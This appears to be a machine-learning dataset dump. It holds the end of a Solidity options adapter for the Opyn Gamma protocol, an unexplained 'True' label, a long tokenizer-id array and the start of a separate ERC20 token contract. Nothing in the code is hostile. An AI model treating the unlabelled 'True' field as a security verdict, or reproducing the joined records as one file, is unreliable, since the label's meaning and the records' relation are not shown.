z = add(mul(x, y), WAD / 2) / WAD;
}
//rounds to zero if x*y < WAD / 2
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
//rounds to zero if x*y < WAD / 2
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//rounds to zero if x*y < RAY / 2
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
//
contract GammaAdapter is IProtocolAdapter, DSMath {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// gammaController is the top-level contract in Gamma protocol which allows users to perform multiple actions on their vaults and positions https://github.com/opynfinance/GammaProtocol/blob/master/contracts/Controller.sol
address public immutable gammaController;
// oTokenFactory is the factory contract used to spawn otokens. Used to lookup otokens.
address public immutable oTokenFactory;
// _swapWindow is the number of seconds in which a Uniswap swap is valid from block.timestamp.
uint256 private constant SWAP_WINDOW = 900;
string private constant _name = "OPYN_GAMMA";
bool private constant _nonFungible = false;
// https://github.com/opynfinance/GammaProtocol/blob/master/contracts/Otoken.sol#L70
uint256 private constant OTOKEN_DECIMALS = 10**8;
uint256 private constant SLIPPAGE_TOLERANCE = 0.75 ether;
// MARGIN_POOL is Gamma protocol's collateral pool. Needed to approve collateral.safeTransferFrom for minting otokens. https://github.com/opynfinance/GammaProtocol/blob/master/contracts/MarginPool.sol
address public immutable MARGIN_POOL;
// USDCETHPriceFeed is the USDC/ETH Chainlink price feed used to perform swaps, as an alternative to getAmountsIn
AggregatorV3Interface public immutable USDCETHPriceFeed;
// UNISWAP_ROUTER is Uniswap's periphery contract for conducting trades. Using this contract is gas inefficient and should only used for convenience i.e. admin functions
address public immutable UNISWAP_ROUTER;
// WETH9 contract
address public immutable WETH;
// USDC is the strike asset in Gamma Protocol
address public immutable USDC;
// 0x proxy for performing buys
address public immutable ZERO_EX_EXCHANGE_V3;
/**
* @notice Constructor for the GammaAdapter which initializes a few immutable variables to be used by instrument contracts.
* @param _oTokenFactory is the Gamma protocol factory contract which spawns otokens https://github.com/opynfinance/GammaProtocol/blob/master/contracts/OtokenFactory.sol
* @param _gammaController is a top-level contract which allows users to perform multiple actions in the Gamma protocol https://github.com/opynfinance/GammaProtocol/blob/master/contracts/Controller.sol
*/
constructor(
address _oTokenFactory,
address _gammaController,
address _marginPool,
address _usdcEthPriceFeed,
address _uniswapRouter,
address _weth,
address _usdc,
address _zeroExExchange
) {
require(_oTokenFactory != address(0), "!_oTokenFactory");
require(_gammaController != address(0), "!_gammaController");
require(_marginPool != address(0), "!_marginPool");
require(_usdcEthPriceFeed != address(0), "!_usdcEthPriceFeed");
require(_uniswapRouter != address(0), "!_uniswapRouter");
require(_weth != address(0), "!_weth");
require(_usdc != address(0), "!_usdc");
require(_zeroExExchange != address(0), "!_zeroExExchange");
oTokenFactory = _oTokenFactory;
gammaController = _gammaController;
MARGIN_POOL = _marginPool;
USDCETHPriceFeed = AggregatorV3Interface(_usdcEthPriceFeed);
UNISWAP_ROUTER = _uniswapRouter;
WETH = _weth;
USDC = _usdc;
ZERO_EX_EXCHANGE_V3 = _zeroExExchange;
}
receive() external payable {}
function protocolName() external pure override returns (string memory) {
return _name;
}
function nonFungible() external pure override returns (bool) {
return _nonFungible;
}
function purchaseMethod()
external
pure
override
returns (ProtocolAdapterTypes.PurchaseMethod)
{
return ProtocolAdapterTypes.PurchaseMethod.ZeroEx;
}
/**
* @notice Check if an options contract exist based on the passed parameters.
* @param optionTerms is the terms of the option contract
*/
function optionsExist(ProtocolAdapterTypes.OptionTerms calldata optionTerms)
external
view
override
returns (bool)
{
return lookupOToken(optionTerms) != address(0);
}
/**
* @notice Get the options contract's address based on the passed parameters
* @param optionTerms is the terms of the option contract
*/
function getOptionsAddress(
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) external view override returns (address) {
return lookupOToken(optionTerms);
}
/**
* @notice Gets the premium to buy `purchaseAmount` of the option contract in ETH terms.
*/
function premium(ProtocolAdapterTypes.OptionTerms calldata, uint256)
external
pure
override
returns (uint256 cost)
{
return 0;
}
/**
* @notice Amount of profit made from exercising an option contract abs(current price - strike price). 0 if exercising out-the-money.
* @param options is the address of the options contract
* @param amount is the amount of tokens or options contract to exercise. Only relevant for fungle protocols like Opyn
*/
function exerciseProfit(
address options,
uint256,
uint256 amount
) public view override returns (uint256 profit) {
IController controller = IController(gammaController);
OracleInterface oracle = OracleInterface(controller.oracle());
OtokenInterface otoken = OtokenInterface(options);
uint256 spotPrice = oracle.getPrice(otoken.underlyingAsset());
uint256 strikePrice = otoken.strikePrice();
bool isPut = otoken.isPut();
if (!isPut && spotPrice <= strikePrice) {
return 0;
} else if (isPut && spotPrice >= strikePrice) {
return 0;
}
return controller.getPayout(options, amount.div(10**10));
}
/**
* @notice Helper function that returns true if the option can be exercised now.
* @param options is the address of the otoken
* @param amount is amount of otokens to exercise
*/
function canExercise(
address options,
uint256,
uint256 amount
) public view override returns (bool) {
OtokenInterface otoken = OtokenInterface(options);
address underlying = otoken.underlyingAsset();
uint256 expiry = otoken.expiryTimestamp();
if (!isSettlementAllowed(underlying, expiry)) {
return false;
}
// use `0` as the optionID because it doesn't do anything for exerciseProfit
if (exerciseProfit(options, 0, amount) > 0) {
return true;
}
return false;
}
/**
* @notice Stubbed out for conforming to the IProtocolAdapter interface.
*/
function purchase(
ProtocolAdapterTypes.OptionTerms calldata,
uint256,
uint256
) external payable override returns (uint256) {}
/**
* @notice Purchases otokens using a 0x order struct
* It is the obligation of the delegate-calling contract to return the remaining
* msg.value back to the user.
* @param optionTerms is the terms of the option contract
* @param zeroExOrder is the 0x order struct constructed using the 0x API response passed by the frontend.
*/
function purchaseWithZeroEx(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
ProtocolAdapterTypes.ZeroExOrder calldata zeroExOrder
) external payable {
require(
msg.value >= zeroExOrder.protocolFee,
"Value cannot cover protocolFee"
);
require(
zeroExOrder.sellTokenAddress == USDC,
"Sell token has to be USDC"
);
IUniswapV2Router02 router = IUniswapV2Router02(UNISWAP_ROUTER);
address[] memory path = new address[](2);
path[0] = WETH;
path[1] = zeroExOrder.sellTokenAddress;
(, int256 latestPrice, , , ) = USDCETHPriceFeed.latestRoundData();
// Because we guard that zeroExOrder.sellTokenAddress == USDC
// We can assume that the decimals == 6
uint256 soldETH =
zeroExOrder.takerAssetAmount.mul(uint256(latestPrice)).div(
10**assetDecimals(zeroExOrder.sellTokenAddress)
);
router.swapETHForExactTokens{value: soldETH}(
zeroExOrder.takerAssetAmount,
path,
address(this),
block.timestamp + SWAP_WINDOW
);
require(
IERC20(zeroExOrder.sellTokenAddress).balanceOf(address(this)) >=
zeroExOrder.takerAssetAmount,
"Not enough takerAsset balance"
);
// double approve to fix non-compliant ERC20s
IERC20(zeroExOrder.sellTokenAddress).safeApprove(
zeroExOrder.allowanceTarget,
0
);
IERC20(zeroExOrder.sellTokenAddress).safeApprove(
zeroExOrder.allowanceTarget,
zeroExOrder.takerAssetAmount
);
require(
address(this).balance >= zeroExOrder.protocolFee,
"Not enough balance for protocol fee"
);
(bool success, ) =
ZERO_EX_EXCHANGE_V3.call{value: zeroExOrder.protocolFee}(
zeroExOrder.swapData
);
require(success, "0x swap failed");
require(
IERC20(zeroExOrder.buyTokenAddress).balanceOf(address(this)) >=
zeroExOrder.makerAssetAmount,
"Not enough buyToken balance"
);
emit Purchased(
msg.sender,
_name,
optionTerms.underlying,
soldETH.add(zeroExOrder.protocolFee),
0
);
}
/**
* @notice Exercises the options contract.
* @param options is the address of the options contract
* @param amount is the amount of tokens or options contract to exercise. Only relevant for fungle protocols like Opyn
* @param recipient is the account that receives the exercised profits. This is needed since the adapter holds all the positions and the msg.sender is an instrument contract.
*/
function exercise(
address options,
uint256,
uint256 amount,
address recipient
) public payable override {
OtokenInterface otoken = OtokenInterface(options);
require(
block.timestamp >= otoken.expiryTimestamp(),
"oToken not expired yet"
);
// Since we accept all amounts in 10**18, we need to normalize it down to the decimals otokens use (10**8)
uint256 scaledAmount = amount.div(10**10);
// use `0` as the optionID because it doesn't do anything for exerciseProfit
uint256 profit = exerciseProfit(options, 0, amount);
require(profit > 0, "Not profitable to exercise");
IController.ActionArgs memory action =
IController.ActionArgs(
IController.ActionType.Redeem,
address(this), // owner
address(this), // receiver - we need this contract to receive so we can swap at the end
options, // asset, otoken
0, // vaultId
scaledAmount,
0, //index
"" //data
);
IController.ActionArgs[] memory actions =
new IController.ActionArgs[](1);
actions[0] = action;
IController(gammaController).operate(actions);
uint256 profitInUnderlying =
swapExercisedProfitsToUnderlying(options, profit, recipient);
emit Exercised(msg.sender, options, 0, amount, profitInUnderlying);
}
/**
* @notice Swaps the exercised profit (originally in the collateral token) into the `underlying` token.
* This simplifies the payout of an option. Put options pay out in USDC, so we swap USDC back
* into WETH and transfer it to the recipient.
* @param otokenAddress is the otoken's address
* @param profitInCollateral is the profit after exercising denominated in the collateral - this could be a token with different decimals
* @param recipient is the recipient of the underlying tokens after the swap
*/
function swapExercisedProfitsToUnderlying(
address otokenAddress,
uint256 profitInCollateral,
address recipient
) internal returns (uint256 profitInUnderlying) {
OtokenInterface otoken = OtokenInterface(otokenAddress);
address collateral = otoken.collateralAsset();
IERC20 collateralToken = IERC20(collateral);
require(
collateralToken.balanceOf(address(this)) >= profitInCollateral,
"Not enough collateral from exercising"
);
IUniswapV2Router02 router = IUniswapV2Router02(UNISWAP_ROUTER);
IWETH weth = IWETH(WETH);
if (collateral == address(weth)) {
profitInUnderlying = profitInCollateral;
weth.withdraw(profitInCollateral);
(bool success, ) = recipient.call{value: profitInCollateral}("");
require(success, "Failed to transfer exercise profit");
} else {
// just guard against anything that's not USDC
// we will revisit opening up other collateral types for puts
// when they get added
require(collateral == USDC, "!USDC");
address[] memory path = new address[](2);
path[0] = collateral;
path[1] = address(weth);
(, int256 latestPrice, , , ) = USDCETHPriceFeed.latestRoundData();
profitInUnderlying = wdiv(profitInCollateral, uint256(latestPrice))
.mul(10**assetDecimals(collateral));
require(profitInUnderlying > 0, "Swap is unprofitable");
collateralToken.safeApprove(UNISWAP_ROUTER, 0);
collateralToken.safeApprove(UNISWAP_ROUTER, profitInCollateral);
uint256[] memory amountsOut =
router.swapExactTokensForETH(
profitInCollateral,
wmul(profitInUnderlying, SLIPPAGE_TOLERANCE),
path,
recipient,
block.timestamp + SWAP_WINDOW
);
profitInUnderlying = amountsOut[1];
}
}
/**
* @notice Creates a short otoken position by opening a vault, depositing collateral and minting otokens.
* The sale of otokens is left to the caller contract to perform.
* @param optionTerms is the terms of the option contract
* @param depositAmount is the amount deposited to open the vault. This amount will determine how much otokens to mint.
*/
function createShort(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 depositAmount
) external override returns (uint256) {
IController controller = IController(gammaController);
uint256 newVaultID =
(controller.getAccountVaultCounter(address(this))).add(1);
address oToken = lookupOToken(optionTerms);
require(oToken != address(0), "Invalid oToken");
address collateralAsset = optionTerms.collateralAsset;
if (collateralAsset == address(0)) {
collateralAsset = WETH;
}
IERC20 collateralToken = IERC20(collateralAsset);
uint256 collateralDecimals = assetDecimals(collateralAsset);
uint256 mintAmount;
if (optionTerms.optionType == ProtocolAdapterTypes.OptionType.Call) {
mintAmount = depositAmount;
if (collateralDecimals >= 8) {
uint256 scaleBy = 10**(collateralDecimals - 8); // oTokens have 8 decimals
mintAmount = depositAmount.div(scaleBy); // scale down from 10**18 to 10**8
require(
mintAmount > 0,
"Must deposit more than 10**8 collateral"
);
}
} else {
mintAmount = wdiv(depositAmount, optionTerms.strikePrice)
.mul(OTOKEN_DECIMALS)
.div(10**collateralDecimals);
}
// double approve to fix non-compliant ERC20s
collateralToken.safeApprove(MARGIN_POOL, 0);
collateralToken.safeApprove(MARGIN_POOL, depositAmount);
IController.ActionArgs[] memory actions =
new IController.ActionArgs[](3);
actions[0] = IController.ActionArgs(
IController.ActionType.OpenVault,
address(this), // owner
address(this), // receiver - we need this contract to receive so we can swap at the end
address(0), // asset, otoken
newVaultID, // vaultId
0, // amount
0, //index
"" //data
);
actions[1] = IController.ActionArgs(
IController.ActionType.DepositCollateral,
address(this), // owner
address(this), // address to transfer from
collateralAsset, // deposited asset
newVaultID, // vaultId
depositAmount, // amount
0, //index
"" //data
);
actions[2] = IController.ActionArgs(
IController.ActionType.MintShortOption,
address(this), // owner
address(this), // address to transfer to
oToken, // deposited asset
newVaultID, // vaultId
mintAmount, // amount
0, //index
"" //data
);
controller.operate(actions);
return mintAmount;
}
/**
* @notice Close the existing short otoken position. Currently this implementation is simple.
* It closes the most recent vault opened by the contract. This assumes that the contract will
* only have a single vault open at any given time. Since calling `closeShort` deletes vaults,
* this assumption should hold.
*/
function closeShort() external override returns (uint256) {
IController controller = IController(gammaController);
// gets the currently active vault ID
uint256 vaultID = controller.getAccountVaultCounter(address(this));
GammaTypes.Vault memory vault =
controller.getVault(address(this), vaultID);
require(vault.shortOtokens.length > 0, "No active short");
IERC20 collateralToken = IERC20(vault.collateralAssets[0]);
OtokenInterface otoken = OtokenInterface(vault.shortOtokens[0]);
bool settlementAllowed =
isSettlementAllowed(
otoken.underlyingAsset(),
otoken.expiryTimestamp()
);
uint256 startCollateralBalance =
collateralToken.balanceOf(address(this));
IController.ActionArgs[] memory actions;
// If it is after expiry, we need to settle the short position using the normal way
// Delete the vault and withdraw all remaining collateral from the vault
//
// If it is before expiry, we need to burn otokens in order to withdraw collateral from the vault
if (settlementAllowed) {
actions = new IController.ActionArgs[](1);
actions[0] = IController.ActionArgs(
IController.ActionType.SettleVault,
address(this), // owner
address(this), // address to transfer to
address(0), // not used
vaultID, // vaultId
0, // not used
0, // not used
"" // not used
);
controller.operate(actions);
} else {
// Burning otokens given by vault.shortAmounts[0] (closing the entire short position),
// then withdrawing all the collateral from the vault
actions = new IController.ActionArgs[](2);
actions[0] = IController.ActionArgs(
IController.ActionType.BurnShortOption,
address(this), // owner
address(this), // address to transfer to
address(otoken), // otoken address
vaultID, // vaultId
vault.shortAmounts[0], // amount
0, //index
"" //data
);
actions[1] = IController.ActionArgs(
IController.ActionType.WithdrawCollateral,
address(this), // owner
address(this), // address to transfer to
address(collateralToken), // withdrawn asset
vaultID, // vaultId
vault.collateralAmounts[0], // amount
0, //index
"" //data
);
controller.operate(actions);
}
uint256 endCollateralBalance = collateralToken.balanceOf(address(this));
return endCollateralBalance.sub(startCollateralBalance);
}
/**
* @notice Gas-optimized getter for checking if settlement is allowed. Looks up from the oracles with asset address and expiry
* @param underlying is the address of the underlying for an otoken
* @param expiry is the timestamp of the otoken's expiry
*/
function isSettlementAllowed(address underlying, uint256 expiry)
private
view
returns (bool)
{
IController controller = IController(gammaController);
OracleInterface oracle = OracleInterface(controller.oracle());
bool underlyingFinalized =
oracle.isDisputePeriodOver(underlying, expiry);
bool strikeFinalized = oracle.isDisputePeriodOver(USDC, expiry);
// We can avoid checking the dispute period for the collateral for now
// Because the collateral is either the underlying or USDC at this point
// We do not have, for example, ETH-collateralized UNI otoken vaults
// bool collateralFinalized = oracle.isDisputePeriodOver(isPut ? USDC : underlying, expiry);
return underlyingFinalized && strikeFinalized;
}
/**
* @notice Helper function to get the decimals of an asset. Will just hardcode for the time being.
* @param asset is the token which we want to know the decimals
*/
function assetDecimals(address asset) private view returns (uint256) {
// USDC
if (asset == USDC) {
return 6;
}
return 18;
}
/**
* @notice Function to lookup oToken addresses. oToken addresses are keyed by an ABI-encoded byte string
* @param optionTerms is the terms of the option contract
*/
function lookupOToken(ProtocolAdapterTypes.OptionTerms memory optionTerms)
public
view
returns (address oToken)
{
IOtokenFactory factory = IOtokenFactory(oTokenFactory);
bool isPut =
optionTerms.optionType == ProtocolAdapterTypes.OptionType.Put;
address underlying = optionTerms.underlying;
/**
* In many instances, we just use 0x0 to indicate ETH as the underlying asset.
* We need to unify usage of 0x0 as WETH instead.
*/
if (optionTerms.underlying == address(0)) {
underlying = WETH;
}
// Put otokens have USDC as the backing collateral
// so we can ignore the collateral asset passed in option terms
address collateralAsset;
if (isPut) {
collateralAsset = USDC;
} else {
collateralAsset = underlying;
}
oToken = factory.getOtoken(
underlying,
optionTerms.strikeAsset,
collateralAsset,
optionTerms.strikePrice.div(10**10),
optionTerms.expiry,
isPut
);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6021,
1011,
2861,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1016,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
24096,
1063,
3853,
4713,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
4954,
2232,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
5587,
3669,
15549,
25469,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1010,
21318,
3372,
17788,
2575,
3815,
18673,
27559,
1010,
21318,
3372,
17788,
2575,
3815,
2497,
6155,
27559,
1010,
21318,
3372,
17788,
2575,
3815,
10631,
2078,
1010,
21318,
3372,
17788,
2575,
3815,
25526,
2378,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
2050,
1010,
21318,
3372,
17788,
2575,
3815,
2497,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1007,
1025,
3853,
5587,
3669,
15549,
25469,
11031,
1006,
4769,
19204,
1010,
21318,
3372,
17788,
2575,
3815,
18715,
10497,
2229,
27559,
1010,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1007,
6327,
3477,
3085,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1010,
21318,
3372,
17788,
2575,
3815,
10631,
2078,
1010,
21318,
3372,
17788,
2575,
3815,
25526,
2378,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
2050,
1010,
21318,
3372,
17788,
2575,
3815,
2497,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
11031,
1006,
4769,
19204,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1010,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
24415,
4842,
22930,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1010,
21318,
3372,
17788,
2575,
3815,
10631,
2078,
1010,
21318,
3372,
17788,
2575,
3815,
25526,
2378,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
15117,
1010,
22017,
2140,
14300,
17848,
1010,
21318,
3372,
2620,
1058,
1010,
27507,
16703,
1054,
1010,
27507,
16703,
1055,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
2050,
1010,
21318,
3372,
17788,
2575,
3815,
2497,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
11031,
24415,
4842,
22930,
1006,
4769,
19204,
1010,
21318,
3372,
17788,
2575,
6381,
3012,
1010,
21318,
3372,
17788,
2575,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
17788,
2575,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-10-12
*/
/**
*Submitted for verification at Etherscan.io on 2021-09-27
*/
/*
Website: https://kenichitoken.com/
Telegram: https://t.me/kenichiinu
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
